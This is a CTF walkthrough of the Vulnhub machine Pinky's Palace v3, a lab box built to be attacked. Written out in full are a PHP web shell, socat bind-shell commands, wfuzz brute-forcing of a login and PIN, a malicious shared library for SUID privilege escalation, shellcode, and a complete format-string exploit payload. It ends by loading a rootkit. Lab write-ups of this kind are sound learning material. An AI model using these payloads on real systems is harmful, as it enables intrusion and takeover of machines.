Pinky’s Palace: v3 | Vulnhub Walkthrough

Dot Dot Slash
egghunter
Published in
16 min readSep 21, 2018

--

Pinky’s palace v3 is one hell of a fortress and it requires little more than the normal tactics for cracking a CTF box. Developed by pink p4nther and hosted on Vulnhub. This box is not just a beginner scarer but a real pain.

Level: Advanced

Machine displays its IP address on boot-up. The one and only friendly gesture you can expect from this brutal box.

Enumeration and Initial Failure

I started with nmap scans to identify a FTP, SSH and HTTP port open in the box. The vsftp FTP server looked quite old, but I couldn't find any good exploits for it. But the HTTP service on port 8000 looked like running Drupal CMS from the scan output.

Detailed nmap scan

Indeed, it was a Drupal installation running there on port 8000. I tried few weak passwords using the pinkadmin user visible on the page with no success. I browsed onto the CHANGELOG.txt file to identify the Drupal version. The Drupal version 7.57 is vulnerable to drupalgeddon2 exploit(I have posted on another box with the same exploit). You can use the searchsploit tool to confirm this.

Drupal running on port 8000
Drupal version 7.57
Finding exploits using searchsploit

I fired up the metasploit module with confidence. It failed! I was clueless, the box looked unpatched and the exploit isn’t working. I suspected possible fire-walling on the outbound connections. I tried several commonly allowed ports on the outbound of firewalls such as 80,443. No luck!

I was stuck and I knew there was something blocking my way. More enumeration was my only way forward!

There was an FTP service, still untouched. Time to do some enumeration. FTP service allows anonymous login, you can login with the username as anonymous and password as any email id. You should almost always do an ls -al command to list the files in an FTP server. This will allow you to view hidden files as well.

Tip: Use ls -al command in ftp servers to list all files including hidden files.

FTP anonymous login
Firewall.sh script in FTP server
Contents of firewall script

I was able to access a firewall.sh script from the FTP server. Its contents suggest that the OUTPUT or the outbound traffic is dropped. Well that explains why my reverse shell payload failed.

A dirty way to shell

I could use metasploit to launch a PHP webshell on the box. Quick and dirty way for my further enumeration.I used the php/exec payload in metasploit to execute my command to drop a webshell.

I converted the below PHP snippet to base64 first, then I used the command echo <base64_encoded_payload> | base64 -d > php_filename to drop the PHP web shell.

<?php
if (isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Dropping a command shell
Web shell access as www-data

A webshell is very difficult to work on. I enumerated the box further to identify any tools I could use to start a bind shell. Remember reverse shell is not possible in this scenario. I tried for netcat but I found that socat was there instead. Fair enough!

Socat is installed on the box

Socat is a very powerful tool and can be used for tunelling, pivoting and getting a fully interactive shell. I used the below command to start a bind shell on port 1337.

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

When using commands as a part of URLs, it is safer to encode spaces and certain special characters. Some browsers may perform it automatically for you, at-least chrome does.

http://192.168.56.104:8000/c.php?cmd=socat%20TCP-LISTEN:1337,reuseaddr,fork%20EXEC:bash,pty,stderr,setsid,sigint,sane

To connect to the socat bind shell, below command can be used.

socat FILE:`tty`,raw,echo=0 TCP:192.168.56.104:1337
Shell access as www-data

Port forwarding internal services

The kernel version and usual attack vectors were not present for this box. There were three users in the box apart from the root account. While checking the active network services, I found few services to be running on the local(127.0.0.1) interface.

Internal services running on local interface

The port 3306 should be MySQL and I found nothing special about it. I wasn’t sure what was running on 80 and 65334. I had a strong suspicion that they could be some web apps. I enumerated the system in that direction to identify two web apps.

Apache configuration of the site running on port 80
Apache configuration of the site running on port 65534

We can easily forward the internal ports to external interfaces using socat. I forwarded internal port 80 to port 4444 and internal port 65334 to port 4445.

port-forwarding internal ports
pinksec control panel app forwarded from port 80
App forwarded from port 65334

More Roadblocks Ahead

I had no credentials to access the control panel. I tried SQL injection, dir-busting with every wordlist I knew. I was big time stuck and clueless for good two days.

The database is under development. So it is usual to see some sort of backups or juicy files in the development environment. May be what we need is a database backup file. I tried related wordlists with no luck. I used cewl to generate custom words.

I was feeling miserable and I wanted to give it a try the old fashioned way. Brute force!

My plan was to launch a bruteforce attack to uncover hidden files. I wanted to bruteforce filenames upto 8 characters against a list of five common extensions. That will be will be 194902434880568*5 lines and the wordlist will occupy more than a PB data! I decided to try to generate upto 5 characters using crunch and try my luck. So I carried out my initial attack and left it running for a night. Next day when I checked, the attack failed due to some network issue, I think the apache service must have got overwhelmed with the volume of requests.

Feeling hopeless, I decided to try first with a smaller wordlist, for bruteforcing upto 4 characters. I was using wfuzz to do the heavy lifting. I got my lucky break!

Generate words for brute-forcing the file names using crunch
Using wfuzz to uncover hidden files
wfuzz -t 100 -w /tmp/wordlist -w /tmp/ext --sc=200 -c  http://192.168.56.104:4445/FUZZ.FUZ2Z

I found a password list in the database application. That’s a good place to start from.

Password list found in the database application

More bruteforcing

If you had observed the control panel, it requires not just the password but a five digit pin as well. I wasn’t sure about the usernames as well. There were four users in the machine with shell access and one application admin in Drupal. I saved those names in a file.

List of usernames for bruteforce

I needed the pin then. I used crunch to generate every possible five digit pin. That was 100000 lines. So we have 5 usernames, 18 passwords and 100000 pins to bruteforce, so it is going to be 5*18*100000 = 9000000 possible combinations. It will be better if I could cut down the number of permutations needed.

Generating list of possible pins

Will the application respond with different messages when you provide a correct username and password but a wrong pin and when you provide all three wrong? I tried the attack with a dummy pin.

wfuzz -t 150 -w /tmp/users -w /tmp/pwds.db -c -d "user=FUZZ&pass=FUZ2Z&pin=11111"  http://192.168.56.104:4444/login.php
Only one response was different in the number of characters and it is correct password

Yes! So when the correct username and password is provided, we get a 41 character response and 45 character response otherwise. Now that we have the correct username and password pair, we just need the correct pin as well. pinkadmin:AaPinkSecaAdmin4467

wfuzz -t 150 -w /tmp/pins -c -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" --hh 41,45  http://192.168.56.104:4444/login.php
Bruteforcing the pin

Another round of wfuzz and quickly I was able to figure out the correct pin: 55849. Now I have access to the Control panel. Control panel allows to run any command on the context of pinksec user. I start a socat instance to a get a bind shell as pinksec.

socat TCP-LISTEN:2337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
Access to Control panel
bind shell as pinksec

A suspicious binary

On the home folder, in the path /home/pinksec/bin I found a binary named pinksecd. I ran it to understand its functionality. Furthermore, pinksecd binary is owned by pinksecmanagement user and has a SUID bit set. That means this binary runs as pinksecmanagement user whenever it is invoked. So this must be the path to compromise pinksecmanagement user.

pinksecd binary
pinksecd binary runs as pinksecmanagement user

We need to analyse this binary more. I ran a strings analysis on the binary first. I saw libpinksec.so file in the strings analysis. If you are wondering, .so files are shared objects which acts like shared library for the program.

Strings analysis on the binary

We can use the ldd tool to print out shared object dependencies. So indeed, it uses a library file libpinksec.so from the path /lib/libpinksec.so. Other dependencies you see are standard library files.

Using ldd tool to find the shared object dependencies

And the biggest surprise was that libpinkseck.so is worldwritable a.k.a any one can modify it. Now if we place our malicious payload inside the .so file we can perform privilege escalation.

libpinksec.so is worldwritable

Linux Shared Objects

There are two kinds of shared libraries one can create in C on Linux.

  1. Statically linked libraries: They are saved as .a files and linked as a part of the application.
  2. Dynamically linked libraries: They are saved as .so files and are loaded on the run time.

Dynamic libraries are loaded in run time and the address assigned for them could change with each invocation, so it is very important that the library code is position independent(it shouldn't depend on any fixed memory addresses). Before we go ahead a make .so file we need to understand what is inside a .so file. Usually a .so file certain list of methods a.k.a functions which are going to be used by the application.

Finding methods inside the shared library

The nm tool can be used to list symbols inside the shared library. There are many functions like _init, _fini, psbanner, psopt, psoption etc. First two are builtin methods used by compilers, which you can override if you wish. _init is the very first method invoked when a library is loaded and if you override it with your own code then you can be certain that the payload will get executed as soon as the library is loaded.

It is usually not a good practice to override the default functions, so you can just override every other function as I did.

#include <stdlib.h>

int psbanner() {
return system("/bin/sh");
}
int psopt() {
return system("/bin/sh");
}
int psoptin() {
return system("/bin/sh");
}

This code can be compiled as shared library using the below gcc command.

gcc -shared -o shell.so -fPIC shell.c

However if you are overriding the _init function, compile the code as below

gcc -shared -o shell.so -fPIC -nostartfiles shell.c

If you noticed, I invoked /bin/sh and not /bin/bash. This is because bash will ignore sticky bit settings and therefore is not helpful in privilege escalation.

Privilege escalation using fake shared library

The obtained shell was not good. It allowed to perform nothing and it was very restrictive for some unknown reason. I tried to save my ssh key into /home/pinksecmanagement/.ssh/authorized_keys for an ssh access.

Storing SSH key into authorized_keys
SSH access as pinksec management

Another Binary

I ran the linuxprivchecker.py on the box for quick enumeration. On the list of SUID files I spotted my next golden binary. PSMCLI in /usr/local/bin is owned by pinky and has a sticky bit set. So PSMCLI runs as pinky user on invocation.

Binary with sticky bit set for user pinky

So the PSMCLI binary does nothing but prints out the argument passed onto it. Unlike the previous case, strings analysis was of no use here. So I downloaded the binary to my machine and loaded it in GDB to check the assembly code.

PSMCLI binary prints out arguments passed to it

The assembly code of the main function showed that the function argshow is called by the main function and is used to display the argument. You can see two printf calls on the disassembly of the argshow fucntion. I knew from my previous experience that printf calls, if not safely made, could result in format string vulnerabilities.

Disassembly of the main function
Disassembly of the argshow function.

I checked for format string vulnerabilities and the binary is vulnerable to format string vulnerability. I supplied a %x input, %x is a format string supported by printf and is used to display the associated input in hexadecimal. We don’t have any other input here! What will printf do ?

It will take a value from the stack!

Binary is vulnerable to format string vulnerability

Exploiting Format string vulnerabilities

First thing to enumerate in binary exploitation is to figure out the security protections enabled for the binary. One way to do this is to use the hardening-check script available in the devscripts package in Kali.

dpkg --add-architecture i386
apt-get update
apt-get install devscripts
run hardening check on the binary

So there are no protections, this is an easy and straightforward format string vulnerability. To exploit a format string bug, the shell code is commonly placed in an environment variable and the flow of program is redirected to the address of the environment variable. I took this tiny shell code invoking /bin/sh from http://shell-storm.org/shellcode/files/shellcode-827.php.

export SCODE=$(echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

Once you plant the shellcode in the box, you need to find its address first. There is a nice script available at
https://raw.githubusercontent.com/Partyschaum/haxe/master/getenvaddr.c which does the same job.

Get the address of the environment variable

0xbffffe6a was my address. I needed to redirect the program flow to that address to achieve a shell.

On analyzing argshow function, which we have seen earlier, there are two calls to printf for displaying the output. It is the printf function which is vulnerable to format string vulnerability. Also following the printf function there is a putchar function.

disassembly of argshow()
0x0804849b <+0>: push %ebp
<!--code-->
0x080484b7 <+28>: call 0x8048340 <printf@plt>
<!--code-->
0x080484c5 <+42>: call 0x8048340 <printf@plt> *vulnerable*
<!--code-->
0x080484d2 <+55>: call 0x8048380 <putchar@plt>
<!--code-->
0x080484df <+68>: call 0x8048360 <exit@plt>

Format string allows two essential attack vectors for our exploit.

  1. Direct memory access: Using %x format string along positional values we can print or access any memory location in the stack.
  2. Ability to write to a location: We can write to any location using %n format string. %n will write the count of characters printed so far to the location selected.

Combining these two vectors, we can overwrite the memory location pointing to putchar, so as to point putchar function to our environment variable(which contains shell code). Now when the putchar function is called, the shell code will be invoked instead. The address for pointer to putchar is 0x0804a01c. Objdump can be used to find that.

Find address of pointer to putchar

So at this point we have two addresses. We need to write the address of shell code to the pointer holding location of putchar.

Address of shellcode: 0xbffffe6a
Address of putchar: 0x0804a01c

First half - Getting the Direct Memory Access Right

Positional values can be used to retrieve adjacent values in stack using format strings.

Positional access to stack

Now our aim is to introduce some addresses in the argument and try to access them. I introduced two addresses AAAA (0x41414141) and BBBB (0x42424242), in the argument. A third value called padding (CCC) is needed some times, when your addresses don’t fall exactly in a word a.k.a they are spread across two memory words.

for i in {1..2000}; do echo -n $i ; /usr/local/bin/PSMCCLI AAAABBBBBCCC%$i\$x ; done | grep 41414141
134[+] Args: AAAABBBBBCCC41414141

I used the above script to figure out which is the positional value required for accessing the value AAAA. You can play around with padding, if it doesn't work for you(padding can be no padding, 1 byte padding,2 byte padding or 3 byte padding). I got 134 as the positional value required to access AAAA, now BBBB should be at 135.

Direct access to the input values

Now I need to access the address of putchar pointer (the address I have to modify), that was 0x0804a01c. Memory words in 32 bit architecture are of 4 bytes(32 bits)size. However, as we will see later, we will make short word a.k.a two byte writes using the format string vulnerability. So we need to split the address into two short words.

lower short word address: 0x0804a01c 
upper short word address: 0x0804a01e (Initial address + 2)

Now our payload will look like in below. Note that the order of address bytes are reversed as the architecture is little endian.

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$x%135\$x
Accessing the required pointer values

Now we have the first half done correctly. We have access to the address values required. Now we need to write to them.

Second half - Writing to the pointer

Just alter %x to %n! and you can write to the memory location that you accessed with %x.

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$n%135\$n

If you try the above code, you will get a definite segmentation fault. Why?

%n, will write the number of characters printed so far to the memory being accessed. So above code will write 11(0xb) to both upper and lower memory short words. That will be an illegal address.

We need to write the value 0xbffffe6a to the memory words. Each short word can hold only upto 0xffff, so we need to split the value across two words:

value to be written to lower short word: 0xfe6a
value to be written to upper short word: 0xbfff

To write 0xfe6a , I need to print 65130 (hex to decimal conversion) characters. I have already printed 11 characters(two 4 byte addresses + 3 byte padding). I need to print 65130 -11 = 65119 characters. We can use %u format specifier to introduce that many additional characters.

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65119u%134\$hn%135\$hn

Tip: hn in the above command directs printf to make a short word write.

Now that should fix the lower byte, we need to write 0xbfff to the upper byte. 0xbfff is lower than 0xfe6a. So you need 0x1bfff-0xfe6a =0xc195 (49557) characters for you to write the desired 0xbfff value. If you are wondering how does the calculation work, it is due to the integer overflow property.

So the full payload is :

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65119u%134\$hn%49557u%135\$hn
Got access as pinky

Tip: I worked from /tmp folder and used the full path to the binary. Any change in working directory or the path of the executable can change the address values. So ensure that you don’t change working directory or the binary path once you start format string exploitation.

Path to root

I quickly configured ssh access by writing my public key to /home/pinky/.ssh/authorized_keys.

SSH access as pinky user

It didn't take me long time to figure out the next lead. pinky has sudo rights to two binaries. Those commands will run as root when pinky invokes them.

insmod and rmmod are utilities which allow kernel modules to be installed into and removed from the box.

I had two choices.

  1. Write my own kernel module.
  2. Use an existing rootkit.

I felt so lazy to take the pain of writing a kernel module. I took the Diamorphine rootkit from GitHub. There are many rootkits available in Google for my readers to try out. I copied the files from the repository to the target box in the /tmp folder. By running make command, Diamorphine rootkit can be build.

Installed diamorphine rootkit

The cool feature of diamorphine rootkit is that sending a signal 64(to any pid) makes the current user become root. We can use the kill command to send a signal to any process(any arbitrary pid should work).

Root access through rootkit

The root flag can be read from /root/flag.txt

|  _ \(_)_ __ | | ___   _( )___ 
| |_) | | '_ \| |/ / | | |// __|
| __/| | | | | <| |_| | \__ \
|_| |_|_| |_|_|\_\\__, | |___/
|___/
____ _ __ _______
| _ \ __ _| | __ _ ___ __\ \ / /___ /
| |_) / _` | |/ _` |/ __/ _ \ \ / / |_ \
| __/ (_| | | (_| | (_| __/\ V / ___) |
|_| \__,_|_|\__,_|\___\___| \_/ |____/

[+][+][+][+][+] R00T [+][+][+][+][+]
[+] Congrats on Pwning Pinky's Palace V3!
[+] Flag: 73b5f7ea50ccf91bb5d1ecb6aa94ef1c
[+] I hope you enjoyed and learned from this box!
[+] If you have feedback send me it on Twitter!
[+] Twitter: @Pink_P4nther
[+] Thanks to my dude 0katz for helping with testing, follow him on twitter: @0katz

Afterthoughts

Pinky’s palacev3 was one of the best machines I have solved. It is brutal but very rewarding. I should have written a kernel module but. I was too lazy. May be some other time! Shoutouts to Pink_P4nther for this legendary box.

--

--